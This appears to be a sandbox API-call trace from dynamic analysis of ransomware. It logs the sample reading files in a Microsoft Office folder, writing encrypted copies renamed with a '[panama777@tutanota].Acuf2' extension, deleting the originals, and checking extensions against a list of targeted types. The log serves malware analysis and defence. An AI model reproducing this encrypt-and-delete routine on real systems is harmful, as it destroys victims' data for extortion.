	[0255.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0255.883] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.883] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0255.883] GetLastError () returned 0x0
	[0255.883] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x13c2, lpOverlapped=0x0) returned 1
	[0255.904] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x13d0, lpOverlapped=0x0) returned 1
	[0255.905] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.905] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.905] SetEndOfFile (hFile=0x32c) returned 1
	[0255.913] CloseHandle (hObject=0x32c) returned 1
	[0255.913] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.913] SetEndOfFile (hFile=0x358) returned 1
	[0255.920] CloseHandle (hObject=0x358) returned 1
	[0255.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1
	[0255.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.930] lstrlenW (lpString=".doc") returned 4
	[0255.930] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.930] lstrlenW (lpString=".docx") returned 5
	[0255.930] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0255.931] lstrlenW (lpString=".pdf") returned 4
	[0255.931] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.931] lstrlenW (lpString=".xls") returned 4
	[0255.931] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.931] lstrlenW (lpString=".xlsx") returned 5
	[0255.931] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0255.931] lstrlenW (lpString=".ppt") returned 4
	[0255.931] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.931] lstrlenW (lpString=".zip") returned 4
	[0255.931] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.931] lstrlenW (lpString=".rar") returned 4
	[0255.931] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.931] lstrlenW (lpString=".bz2") returned 4
	[0255.931] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.931] lstrlenW (lpString=".7z") returned 3
	[0255.931] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.931] lstrlenW (lpString=".dbf") returned 4
	[0255.931] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.931] lstrlenW (lpString=".1cd") returned 4
	[0255.931] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.931] lstrlenW (lpString=".jpg") returned 4
	[0255.931] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.932] lstrlenW (lpString=".doc") returned 4
	[0255.932] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.932] lstrlenW (lpString=".docx") returned 5
	[0255.932] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0255.932] lstrlenW (lpString=".pdf") returned 4
	[0255.932] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.932] lstrlenW (lpString=".xls") returned 4
	[0255.932] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.932] lstrlenW (lpString=".xlsx") returned 5
	[0255.932] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0255.932] lstrlenW (lpString=".ppt") returned 4
	[0255.932] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.932] lstrlenW (lpString=".zip") returned 4
	[0255.932] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.932] lstrlenW (lpString=".rar") returned 4
	[0255.932] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.932] lstrlenW (lpString=".bz2") returned 4
	[0255.932] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.932] lstrlenW (lpString=".7z") returned 3
	[0255.932] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.932] lstrlenW (lpString=".dbf") returned 4
	[0255.932] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.932] lstrlenW (lpString=".1cd") returned 4
	[0255.932] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63
	[0255.932] lstrlenW (lpString=".jpg") returned 4
	[0255.932] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.933] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.933] lstrlenW (lpString="SPRNG_01.MID") returned 12
	[0255.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.933] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=6700) returned 1
	[0255.933] CloseHandle (hObject=0x2a4) returned 1
	[0255.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20
	[0255.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.933] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.933] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.934] GetLastError () returned 0x0
	[0255.934] ReadFile (in: hFile=0x2a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x1a2c, lpOverlapped=0x0) returned 1
	[0255.935] WriteFile (in: hFile=0x344, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x1a30, lpOverlapped=0x0) returned 1
	[0255.936] ReadFile (in: hFile=0x2a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.936] WriteFile (in: hFile=0x344, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.936] SetEndOfFile (hFile=0x344) returned 1
	[0255.937] CloseHandle (hObject=0x344) returned 1
	[0255.937] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.937] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.939] CloseHandle (hObject=0x2a4) returned 1
	[0255.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1
	[0255.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.940] lstrlenW (lpString=".doc") returned 4
	[0255.940] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.940] lstrlenW (lpString=".docx") returned 5
	[0255.940] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.940] lstrlenW (lpString=".pdf") returned 4
	[0255.940] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.940] lstrlenW (lpString=".xls") returned 4
	[0255.940] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.940] lstrlenW (lpString=".xlsx") returned 5
	[0255.940] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.940] lstrlenW (lpString=".ppt") returned 4
	[0255.940] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.940] lstrlenW (lpString=".zip") returned 4
	[0255.940] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.940] lstrlenW (lpString=".rar") returned 4
	[0255.940] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.940] lstrlenW (lpString=".bz2") returned 4
	[0255.940] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.940] lstrlenW (lpString=".7z") returned 3
	[0255.940] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.940] lstrlenW (lpString=".dbf") returned 4
	[0255.940] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.941] lstrlenW (lpString=".1cd") returned 4
	[0255.941] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.941] lstrlenW (lpString=".jpg") returned 4
	[0255.941] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.941] lstrlenW (lpString=".doc") returned 4
	[0255.941] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.941] lstrlenW (lpString=".docx") returned 5
	[0255.941] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.941] lstrlenW (lpString=".pdf") returned 4
	[0255.941] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.941] lstrlenW (lpString=".xls") returned 4
	[0255.941] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.941] lstrlenW (lpString=".xlsx") returned 5
	[0255.941] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.941] lstrlenW (lpString=".ppt") returned 4
	[0255.941] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.941] lstrlenW (lpString=".zip") returned 4
	[0255.941] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.941] lstrlenW (lpString=".rar") returned 4
	[0255.941] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.941] lstrlenW (lpString=".bz2") returned 4
	[0255.941] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.941] lstrlenW (lpString=".7z") returned 3
	[0255.942] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.942] lstrlenW (lpString=".dbf") returned 4
	[0255.942] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.942] lstrlenW (lpString=".1cd") returned 4
	[0255.942] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63
	[0255.942] lstrlenW (lpString=".jpg") returned 4
	[0255.942] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.942] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.942] lstrlenW (lpString="SUMER_01.MID") returned 12
	[0255.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.942] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=14044) returned 1
	[0255.942] CloseHandle (hObject=0x2a4) returned 1
	[0255.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20
	[0255.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.943] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.943] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.943] GetLastError () returned 0x0
	[0255.943] ReadFile (in: hFile=0x2a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x36dc, lpOverlapped=0x0) returned 1
	[0255.946] WriteFile (in: hFile=0x344, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x36e0, lpOverlapped=0x0) returned 1
	[0255.947] ReadFile (in: hFile=0x2a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.947] WriteFile (in: hFile=0x344, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.947] SetEndOfFile (hFile=0x344) returned 1
	[0255.947] CloseHandle (hObject=0x344) returned 1
	[0255.947] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.947] SetEndOfFile (hFile=0x2a4) returned 1
	[0256.105] CloseHandle (hObject=0x2a4) returned 1
	[0256.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1
	[0256.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.222] lstrlenW (lpString=".doc") returned 4
	[0256.222] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.222] lstrlenW (lpString=".docx") returned 5
	[0256.222] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.222] lstrlenW (lpString=".pdf") returned 4
	[0256.222] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.222] lstrlenW (lpString=".xls") returned 4
	[0256.222] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.222] lstrlenW (lpString=".xlsx") returned 5
	[0256.222] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.222] lstrlenW (lpString=".ppt") returned 4
	[0256.222] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.222] lstrlenW (lpString=".zip") returned 4
	[0256.222] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.222] lstrlenW (lpString=".rar") returned 4
	[0256.222] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.222] lstrlenW (lpString=".bz2") returned 4
	[0256.222] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.222] lstrlenW (lpString=".7z") returned 3
	[0256.222] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.223] lstrlenW (lpString=".dbf") returned 4
	[0256.223] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.223] lstrlenW (lpString=".1cd") returned 4
	[0256.223] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.223] lstrlenW (lpString=".jpg") returned 4
	[0256.223] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.223] lstrlenW (lpString=".doc") returned 4
	[0256.223] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.223] lstrlenW (lpString=".docx") returned 5
	[0256.223] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.223] lstrlenW (lpString=".pdf") returned 4
	[0256.223] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.223] lstrlenW (lpString=".xls") returned 4
	[0256.223] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.223] lstrlenW (lpString=".xlsx") returned 5
	[0256.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.223] lstrlenW (lpString=".ppt") returned 4
	[0256.223] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.223] lstrlenW (lpString=".zip") returned 4
	[0256.223] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.223] lstrlenW (lpString=".rar") returned 4
	[0256.224] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.224] lstrlenW (lpString=".bz2") returned 4
	[0256.224] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.224] lstrlenW (lpString=".7z") returned 3
	[0256.224] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.224] lstrlenW (lpString=".dbf") returned 4
	[0256.224] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.224] lstrlenW (lpString=".1cd") returned 4
	[0256.224] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63
	[0256.224] lstrlenW (lpString=".jpg") returned 4
	[0256.224] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.224] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0256.224] lstrlenW (lpString="conducting affect.exe") returned 21
	[0256.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\conducting affect.exe" (normalized: "c:\\program files\\microsoft office\\conducting affect.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.225] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=75776) returned 1
	[0256.225] CloseHandle (hObject=0x344) returned 1
	[0256.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\conducting affect.exe" (normalized: "c:\\program files\\microsoft office\\conducting affect.exe")) returned 0x20
	[0256.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\conducting affect.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\conducting affect.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\conducting affect.exe" (normalized: "c:\\program files\\microsoft office\\conducting affect.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0256.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\conducting affect.exe") returned 55
	[0256.226] lstrlenW (lpString=".doc") returned 4
